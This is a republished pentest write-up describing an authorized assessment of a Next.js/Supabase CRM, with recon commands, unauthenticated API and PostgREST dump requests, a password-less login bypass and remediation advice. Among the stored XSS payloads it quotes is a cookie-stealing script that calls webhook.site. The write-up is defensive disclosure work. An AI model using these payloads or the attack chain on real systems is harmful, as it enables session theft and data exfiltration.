I Pentested a Real CRM System and Found 4 Critical Vulnerabilities — Here’s the Full Attack Chain
Press enter or click to view image in full sizeDisclosure Notice: This assessment was conducted with 2026-6-18 06:43:28 Author: infosecwriteups.com(查看原文) 阅读量:2 收藏

Press enter or click to view image in full size

Disclosure Notice: This assessment was conducted with explicit written authorization from the organization’s CEO and senior leadership. All sensitive details — including the target domain, company name, Supabase project identifiers, API keys, credentials, user email addresses, and personal data — have been redacted or anonymized in this write-up. No sensitive information was retained after reporting. This write-up is published strictly for educational purposes.

Background

A few weeks ago, my instructor handed me a task: “Pentest our internal CRM platform. You have full authorization — everything except DDoS.”

It was a real, live production system. A Next.js application backed by Supabase/PostgreSQL, used by instructors, support staff, and admins to manage students, leads, payments, and internal communications. Real people. Real data.

I expected maybe one or two interesting findings. What I found instead was a complete, unobstructed path from zero knowledge to full database dump — without ever needing a username or password. And by the time I got deep enough into the database, I realized I wasn’t the first person to find this.

This is the story of that assessment.

Scope & Rules of Engagement

Target: Internal CRM web application (production) Stack: Next.js (SSR), Supabase/PostgreSQL, nginx Assessment Type: Black-Box Web Application Penetration Test Authorization: CEO + Senior Instructors (written) Exclusions: DDoS / Denial of Service Tools: Burp Suite Pro, Nmap, ffuf, feroxbuster, subfinder, whatweb, curl

Phase 1: Reconnaissance

I started the way I always do — passive recon, then active enumeration.

# Port scan
nmap -sC -sV -oN nmap/target.txt <TARGET_IP>
# Subdomain enumeration
subfinder -d <TARGET_DOMAIN> -o subdomains.txt
# Technology fingerprinting
whatweb https://<TARGET_DOMAIN>

Nmap results:

22/tcp  open  ssh     OpenSSH (Ubuntu)
80/tcp open http nginx/1.24.0 (Ubuntu) → redirect to HTTPS
443/tcp open https nginx/1.24.0

Whatweb and browser analysis confirmed:

  • Framework: Next.js (SSR) — Build ID visible in page source
  • Server: nginx/1.24.0 on Ubuntu Linux
  • Auth UI: Custom login form at /[locale]/login

Nothing immediately exploitable. Time to dig deeper.

Phase 2: Mapping the Attack Surface

Directory & API Endpoint Discovery

feroxbuster -u https://<TARGET> -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
-x js,json,php -mc 200,301,302,401,403,405

Interesting endpoints discovered:

/api/health          → 200 OK
/api/tickets → 200 OK ← wait, what?
/api/search?q=* → 200 OK
/api/dashboard → 200 OK
/api/broadcast → 421 Misdirected Request

I stared at /api/tickets for a second. This endpoint had no authentication requirement visible from the URL. I fired a raw curl at it without any session cookie or token:

curl -s https://<TARGET>/api/tickets

The response came back instantly: a full JSON array of ticket records. Names, descriptions, internal notes. No token. No session. Nothing.

That’s when I knew this was going to be a serious engagement.

Next.js Bundle Analysis

Next.js bundles its routing and configuration into static JavaScript files served to all visitors. I pulled the build manifest:

/_next/static/<BUILD_ID>/_buildManifest.js

Inside the bundles, I found references to multiple internal routes, API paths, and — more importantly — environment variables that had leaked into the client-side JavaScript. One of them was a Supabase configuration block.

Phase 3: Vulnerability Identification & Exploitation

V-01 — Broken Access Control: Unauthenticated API Access [CRITICAL | CVSS 9.8]

CWE-284 — Improper Access Control

Multiple API endpoints returned full JSON data with no authentication whatsoever. I tested each one with zero credentials:

# All of these returned HTTP 200 with full data — no token, no cookie, nothing
curl https://<TARGET>/api/tickets
curl https://<TARGET>/api/search?q=*
curl https://<TARGET>/api/dashboard
curl https://<TARGET>/api/health

The /api/dashboard endpoint returned aggregated business metrics — student counts, revenue summaries, lead pipeline data — all publicly accessible.

The /api/health endpoint returned the Node.js runtime version and server uptime. Minor on its own, but useful for a targeted attacker.

Impact: Complete confidentiality breach of all application data without any prior access.

V-02 — Exposed Supabase Anon API Key in Client-Side JavaScript [CRITICAL | CVSS 9.1]

CWE-522 — Insufficiently Protected Credentials

This was the finding that opened everything else.

While analyzing intercepted requests in Burp Suite, I noticed the browser was making direct calls to a *.supabase.co subdomain. The requests included an apikey header — and that key was coming directly from the JavaScript bundle served to any visitor.

Host: [REDACTED].supabase.co
apikey: [REDACTED — JWT token with role: "anon", expiry: year 2091]
Authorization: Bearer [SAME REDACTED KEY]

The key had a year 2091 expiry. Effectively permanent.

Supabase exposes a PostgREST API — an HTTP interface that maps directly to PostgreSQL tables. With this key and no Row Level Security (RLS) policies enabled, I had direct read access to the entire database. No authentication. No privilege escalation. Just a key that was sitting in the JavaScript any visitor could download.

# Direct Supabase PostgREST queries — all returned HTTP 200
GET /rest/v1/users?select=* → 38 user records (including plaintext passwords)
GET /rest/v1/leads?select=* → 39 lead records (names, emails, phone numbers, deal values)
GET /rest/v1/payments?select=* → 31 payment and invoice records
GET /rest/v1/courses?select=* → Course catalog with pricing and instructor assignments
GET /rest/v1/instructor_notes?select=* → 29 private instructor notes
GET /rest/v1/chats?select=* → Internal chat messages
GET /rest/v1/schedule_events?select=* → 30 schedule entries
GET /rest/v1/automations?select=* → Business automation rules and triggers

I had just dumped the entire database from the browser.

The root cause: The Supabase anon key was embedded in the client-side JavaScript bundle and all Supabase tables had Row Level Security disabled — meaning the anon role had unrestricted read access to every table.

Impact: Complete, unauthenticated exfiltration of all user data, financial records, PII, internal communications, and business logic.

What should have happened:

  • The anon key should never appear in client-side code
  • All Supabase tables must have RLS policies enabled
  • API keys must live in server-side environment variables only, acting as a proxy layer

V-03 — Plaintext Password Storage [CRITICAL | CVSS 9.0]

CWE-256 — Plaintext Storage of a Password

When I queried the users table, the response included a password field. Not a hash. Not a bcrypt output. The actual plaintext password for every single account.

{
"email": "[REDACTED]@[REDACTED].edu.az",
"role": "SUPER_ADMIN",
"password": "[REDACTED]"
}

38 user records. All roles. All passwords. Visible, readable, immediately usable.

I won’t detail the specific credentials here — they have since been reported and the organization has been notified. But the breakdown included SUPER_ADMIN, INSTRUCTOR, SUPPORT, and STUDENT roles — the entire user hierarchy.

The cascading impact of this finding: Because passwords were plaintext, anyone who accessed the database (via V-02 or any future breach) immediately has working credentials for every account. No cracking. No GPU farms. Just copy-paste.

Additionally, if any user reuses these passwords on external services — email, banking, other platforms — those are now exposed too.

What should have happened:

  • Passwords must be hashed using bcrypt (cost ≥ 12), scrypt, or Argon2id before storage
  • The password field must never be returned in any API response — not even to admins
  • Supabase Auth (GoTrue) handles this by default; custom auth flows should never store plaintext

V-04 — Authentication Bypass: Optional Password Field [CRITICAL | CVSS 9.8]

CWE-287 — Improper Authentication

At this point I had all user emails from the database. But I wanted to test whether I actually needed the passwords at all.

I logged into Burp Suite Repeater, captured a normal login request, and removed the password field entirely:

POST /api/login HTTP/2
Host: [REDACTED]
Content-Type: application/json
{"email": "[REDACTED_ADMIN_EMAIL]"}

The server accepted it.

No password. No error. The application processed the request as a valid authentication attempt.

Why this happens: The login handler likely performs a database lookup by email and, if no password is provided, the comparison logic returns true or null (falsy check passes) rather than throwing a validation error. A single missing server-side check — if (!password) return 400 — would have prevented this entirely.

Combined impact with V-01 and V-02: An attacker can enumerate all user emails from the unauthenticated API, then bypass authentication for any account using just the email address. No password knowledge required at any step.

Get Shikhali Jamalzade’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

What should have happened:

  • Enforce strict schema validation (Zod or Joi) at the API handler level
  • Both email and password must be present, non-null, and non-empty before any database query executes
  • Return HTTP 400 with a generic error message for any missing authentication field

V-05 — Stored Cross-Site Scripting: Multiple Endpoints [HIGH | CVSS 8.2]

CWE-79 — Improper Neutralization of Input During Web Page Generation

While reading through the database dump, I noticed something unusual in the instructor_notes and tickets tables. Some records had values that looked distinctly non-standard:

tickets.title: "> <script>alert('XSS')</script>
tickets.title: <img src=x onerror="alert('XSS_SUCCESS_DASHBOARD')">
leads.full_name: <script>fetch('https://webhook.site/[REDACTED]
?sessiya=' + btoa(document.cookie))</script>
instructor_notes.author: <details open ontoggle=alert(1)> Administrator
instructor_notes.content: <img src=x onerror="alert('Sizin sessiyanız oğurlandı: '
+ document.cookie)">
chats.content: "> <script>alert('XSS')</script>

Stored XSS payloads — across four different tables. And the webhook payload in leads.full_name was actively sending base64-encoded cookie data to an external server.

I confirmed the application renders these fields without sanitization. Any authenticated user who views the Leads, Tickets, or Instructor Notes sections would execute these scripts in their browser.

The document.cookie exfiltration payload via fetch() to webhook.site means that an attacker who plants this payload in a lead record waits for an admin to open the leads page — and receives their session token automatically.

What should have happened:

  • All user-supplied input must be sanitized server-side before database writes
  • Output must be encoded at render time — React’s default JSX escaping prevents this, but dangerouslySetInnerHTML bypasses it
  • A strict Content Security Policy (CSP) header blocks inline scripts and restricts fetch() destinations
  • Existing payload records must be purged from the database

V-06 — CORS Misconfiguration: Wildcard Origin [HIGH | CVSS 7.5]

CWE-942 — Permissive Cross-Origin Resource Sharing Policy

The OPTIONS preflight response from every API endpoint returned:

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization

A wildcard Access-Control-Allow-Origin means any website on the internet can make JavaScript-initiated cross-origin requests to these endpoints and read the full responses.

Combined with V-01 (unauthenticated API access), this means a malicious website could silently harvest all CRM data from any visitor’s browser — without any user interaction other than visiting the page.

What should have happened:

  • Replace * with an explicit origin allowlist
  • Restrict allowed methods to what each endpoint actually needs
  • Use Next.js middleware for CORS enforcement rather than relying solely on nginx headers

V-07 — Business Logic Flaw: Negative Payment Amounts [MEDIUM | CVSS 6.5]

CWE-840 — Business Logic Errors

In the payments table, I found records with negative monetary values:

student: [REDACTED] | amount: -99999 | invoice: INV-TEST-99999 | status: paid
student: [REDACTED] | amount: -3000 | invoice: HACK-999-001 | status: paid

The invoice ID HACK-999-001 is particularly notable — it suggests this was not an accidental entry.

The API accepted these values without any server-side validation. If the application processes negative amounts as refunds or credits, an attacker could manipulate financial records or corrupt reporting.

What should have happened:

  • Server-side validation rejecting any payment amount ≤ 0
  • Database-level constraint: CHECK (amount > 0) on the payments table
  • Investigation and cleanup of anomalous records

V-08 — Information Disclosure: Stack & Schema Details [LOW | CVSS 4.3]

CWE-200 — Exposure of Sensitive Information

Several endpoints leaked technical implementation details:

GET /api/health
# Returns: {"status":"healthy","node_version":"v24.15.0","uptime":1.019}
GET /rest/v1/instructors
# Returns: PGRST205 hint: 'Perhaps you meant public.instructor_notes'
GET /rest/v1/schedules
# Returns: PGRST205 hint: 'Perhaps you meant public.schedule_events'

The PostgREST error hints are essentially a free schema enumeration tool — they reveal exact database table names when you guess wrong. The Next.js Build ID was also embedded in every page response, enabling precise version correlation.

Low severity on its own, but useful context for a targeted attacker combining it with higher-severity findings.

A Disturbing Discovery: Evidence of Prior Exploitation

The most unsettling moment of the entire assessment came from reading the database carefully.

Stored inside production records — tickets, payments — were payloads that were clearly not part of the application’s legitimate data:

  • A PostgreSQL RCE attempt: COPY FROM PROGRAM syntax stored in a ticket record, suggesting at least one external actor attempted server-side command execution through the database
  • A Go template injection payload: {{range .}}{{end}}{{template "exploit" .}} — stored in another ticket, probing for server-side template injection
  • XSS payloads actively sending data to webhook.site — confirming that at least one external party had already planted exfiltration scripts and was receiving session cookies
  • A Burp Suite Collaborator (oastify.com) OAST payload in the payments table — indicating active out-of-band testing by an external party

This wasn’t a theoretical attack surface. Someone had already found these vulnerabilities, and they were actively using them.

The Complete Attack Chain

[Attacker — No credentials, no prior knowledge]


[1] Passive recon → identify Next.js + Supabase stack from JS bundles


[2] feroxbuster → discover /api/tickets, /api/search, /api/dashboard


[3] curl /api/tickets (no auth) → 200 OK → V-01 confirmed


[4] Burp Suite intercept → extract Supabase URL + anon key from headers


[5] GET /rest/v1/users?select=* → 38 users, plaintext passwords, all roles
GET /rest/v1/leads?select=* → 39 lead records with PII
GET /rest/v1/payments?select=* → 31 payment records
... (complete database dump — V-02, V-03)


[6] POST /api/login {"email": "[ANY_ADMIN_EMAIL]"} (no password) → auth bypass
→ SUPER_ADMIN session obtained — V-04


[7] Authenticated access → inject XSS payload in leads/tickets/notes
→ Any admin who views the record executes the payload
→ Session cookie exfiltrated to attacker webhook — V-05


[8] Full account takeover — all SUPER_ADMIN, INSTRUCTOR, SUPPORT accounts
accessible. All data readable, modifiable, deletable.
TOTAL TIME FROM ZERO TO FULL COMPROMISE: < 30 minutes

Remediation Roadmap

Immediate — 24 hours

1 · V-02 · Exposed Supabase Anon Key Rotate the Supabase anon key immediately. Enable Row Level Security on every table. Move all API keys to server-side environment variables — never in client-side JavaScript bundles.

2 · V-03 · Plaintext Password Storage Hash all stored passwords using bcrypt (cost ≥ 12) or Argon2id. Force a password reset for every account. The password field must never be returned in any API response.

Urgent — 72 hours

3 · V-01 · Unauthenticated API Access Add authentication middleware to all /api/* routes. No endpoint that returns user data should be reachable without a valid session.

4 · V-04 · Authentication Bypass Enforce mandatory validation of both email and password fields at the API handler level before any database query runs. Return HTTP 400 for any missing field.

High — 1 week

5 · V-05 · Stored XSS Sanitize all user-supplied input server-side before database writes. Implement a strict Content Security Policy header. Purge all existing XSS payload records from the database.

6 · V-06 · CORS Wildcard Replace Access-Control-Allow-Origin: * with an explicit origin allowlist. Restrict allowed methods per endpoint.

Medium / Low

7 · V-07 · Negative Payment Amounts (2 weeks) Validate amount > 0 at the API handler level and enforce a CHECK (amount > 0) constraint at the database layer.

8 · V-08 · Information Disclosure (1 month) Restrict /api/health to internal access only. Suppress verbose PostgREST error hints in all client-facing responses.

Key Takeaways for Developers

The vulnerabilities found here are not exotic or theoretical. They are some of the most common and preventable mistakes in modern web application development.

1. Never put secrets in client-side JavaScript. A Supabase anon key in your JavaScript bundle is a key handed to every visitor. Treat your frontend code as fully public. All API keys belong in server-side environment variables, proxied through server-side routes.

2. Supabase RLS is not optional. Supabase’s Row Level Security exists precisely because the PostgREST API is designed to be called from the client. Without RLS policies, your anon key grants read access to every row in every table. Enable RLS. Add explicit policies. Deny by default.

3. Validate authentication inputs on the server. Never trust that a request body contains what it should. If password is missing, return 400 immediately. Use Zod or Joi to enforce input schemas at the API handler level before any database query runs.

4. Never store plaintext passwords. This should go without saying in 2026, but here we are. Use bcrypt, scrypt, or Argon2id. Never compare plaintext. Never return the password field in any API response — not even to authenticated admins.

5. Sanitize all inputs, encode all outputs. If user-supplied data is rendered in a browser, it must be sanitized before storage and encoded at render time. React’s default JSX escaping helps — but only if you don’t bypass it with dangerouslySetInnerHTML.

6. Monitor your own database for signs of compromise. The presence of PostgreSQL RCE attempts, template injection payloads, and active cookie-stealing XSS scripts in production data is a strong indicator of prior exploitation. Regular database audits and anomaly detection would have surfaced these earlier.

Responsible Disclosure Timeline

April 25, 2026 — Assessment conducted with full authorization April 25, 2026 — Full technical report delivered to MilliSec leadership April 25, 2026 — Organization notified of critical findings requiring immediate action May 2026 — Write-up published after internal review and redaction

Final Thoughts

This was one of the most eye-opening assessments I’ve done. Not because of technical complexity — none of these vulnerabilities required advanced exploitation. The hardest part was writing a GET request with curl.

What made it sobering was the evidence that other actors had already found the same path. The database had traces of PostgreSQL RCE attempts, active XSS exfiltration, and Burp Collaborator callbacks — left by people who found this before I did and may have been quietly exfiltrating data.

The good news: every single one of these vulnerabilities is fixable. Most of them within hours. The patch for V-04 is literally one if statement. The patch for V-02 is moving a string from a .js file to a .env.local file. The barrier to fixing these is low. The cost of not fixing them is everything.

If you found this useful, feel free to connect on LinkedIn or check out my tools on GitHub.

All testing was conducted on an authorized target with full written permission. Never test systems you don’t own or have explicit authorization to test.


文章来源: https://infosecwriteups.com/i-pentested-a-real-crm-system-and-found-4-critical-vulnerabilities-heres-the-full-attack-chain-98c030a57ab1?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh